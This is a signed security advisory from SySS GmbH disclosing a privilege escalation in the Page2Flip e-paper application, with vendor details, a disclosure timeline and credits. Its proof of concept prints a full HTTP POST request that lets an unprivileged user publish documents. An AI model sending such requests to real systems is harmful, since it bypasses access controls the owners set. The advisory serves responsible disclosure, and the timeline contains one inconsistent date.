Page2Flip 2.5 Privilege Escalation
Posted on 25 August 2015
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 Advisory ID: SYSS-2015-030 Product: Page2Flip Vendor: w!ssenswerft GmbH Affected Version(s): Premium App 2.5, probably also in Business App and Basic App, and in lower versions Tested Version(s): Premium App 2.5 Vulnerability Type: Improper Handling of Insufficient Privileges (CWE-274) Risk Level: High Solution Status: Open Vendor Notification: 2015-06-29 Solution Date: Public Disclosure: CVE Reference: Not yet assigned Author of Advisory: Dr. Erlijn van Genuchten (SySS GmbH) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Overview: With the Page2Flip Web application, it is possible to create e-papers in PDF format that can be flicked through digitally. Such e-papers can be used for magazines, catalogues, flyers, etc. (see [1]). The Page2Flip application allows users who are not privileged to publish documents to nevertheless publish documents. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerability Details: The SySS GmbH identified a vulnerability in the "publish" functionality of the Page2Flip application. Users who are not allowed to publish documents are nevertheless able to do so. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Proof of Concept (PoC): The following HTTP POST request was sent by a user who did not possess the privilege to publish documents. POST /catalog/[catalog id]/publishview HTTP/1.1 Host: [host] Faces-Request: partial/ajax Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Content-Length: 1132 Cookie: [cookies] downloadDialogForm=downloadDialogForm&javax.faces.ViewState=-8995724769283342270%3A-6610202228620183009&ice.window=9aibc007ll&ice.view=vvgml70v8&downloadDialogForm%3Ard_releaseTypeDownload=ext_catalog&downloadDialogForm%3Aj_idt916=Please%20choose...&icefacesCssUpdates=&javax.faces.source=downloadDialogForm%3AdownloadDialogForm_submit%3AdownloadDialogForm_submit&javax.faces.partial.event=click&javax.faces.partial.execute=%40all&javax.faces.partial.render=%40all&ice.window=9aibc007ll&ice.view=vvgml70v8&ice.focus=downloadDialogForm%3AdownloadDialogForm_submit%3AdownloadDialogForm_submit&downloadDialogForm%3AdownloadDialogForm_submit%3AdownloadDialogForm_submit=Start%20download&ice.event.target=downloadDialogForm%3AdownloadDialogForm_submit%3AdownloadDialogForm_submit&ice.event.captured=downloadDialogForm%3AdownloadDialogForm_submit%3AdownloadDialogForm_submit&ice.event.type=onclick&ice.event.alt=false&ice.event.ctrl=false&ice.event.shift=false&ice.event.meta=false&ice.event.x=11 69&ice.event.y=796&ice.event.left=true&ice.event.right=false&ice.submit.type=ice.s&ice.submit.serialization=form&javax.faces.partial.ajax=true After sending this request, the user received an e-mail stating "You can download your pageflip!". ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclosure Timeline: 2015-06-23: Vulnerability discovered 2013-06-29: Vulnerability reported to vendor 2015-07-07: Reported vulnerabilities again as the vendor did not respond to the first e-mail 2015-07-14: Reminder sent concerning reported vulnerabilities 2015-08-24: Public release of security advisory according to the SySS Responsible Disclosure Policy ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ References: [1] Page2Flip homepage http://page2flip.de/ [2] SySS Responsible Disclosure Policy https://www.syss.de/en/news/responsible-disclosure-policy/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Credits: This security vulnerability was found by Dr. Erlijn van Genuchten of the SySS GmbH. E-Mail: erlijn.vangenuchten@syss.de Public Key: https://www.syss.de/fileadmin/dokumente/Materialien/PGPKeys/Erlijn_vanGenuchten.asc Key ID: 0xBD96FF2A Key Fingerprint: 17BB 4CED 755A CBB3 2D47 C563 0CA5 8637 BD96 FF2A ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclaimer: The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The latest version of this security advisory is available on the SySS Web site. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Copyright: Creative Commons - Attribution (by) - Version 3.0 URL: http://creativecommons.org/licenses/by/3.0/deed.en -----BEGIN PGP SIGNATURE----- Version: GnuPG v1 iQIcBAEBCgAGBQJV2x3WAAoJEAylhje9lv8qUMIP/RA5OqFVpM4ch+CLyOq2YMJq WHVZmKmHLp4igu90ycqfALonph+x65Slfa2etUeyn/r1njAOSEW23VAJUcNdvKYT fL/ZxNhTMcfnfgTpldW742tloJk462pLoNPEY9Rt1jmzHKHDehyKXJTkTN/T+mjI prZyfPjRQgTR9iDH/iNnGfSyito5ZWvOwHNswXxZU1q65RfEr0k9QcENF//PraR1 gFYjE2zxsBeyzatBjL6yfB9BNfV/wjiao8rm3aUI22fL+rJWkL5tVSVKWOrFnTgq KFHtRmGvZDo+uJbM+g+/B4MYcNTPaooLPG4i3XOhdMwcmWPk9mR7mMkLV6tN886S r8Hz/76PKtysi2aU+nO1hlh9BGxrEwie+T0YvcSAAfoDRgvvVrHLshcr1pGlcvy/ pAjmUVKiNwjw2WMoJOM9f8N42Hp2SeirSRAT4aLi64XV3ntoRwaEZt4sELS+TzSh 5fUf0dpCzgh45oNk+oiWM8obhq36nAXAUF7ePl1kv7/SzX/J//jd3ih8XYccT4jr 8VI6K1Txlveditd5ZK6ocBvCQKpWregQFD8vq3ZZTAM3aGCkPgzSGOUMpalaZ6JQ VwvSRiYZP0FVxKxfqQjge+oqkf4MDuh8821TJ5rrzZ3gODKITfabIsaS4YqB7aMT rJvhOlngmtxslFDRUaDI =PpOx -----END PGP SIGNATURE-----
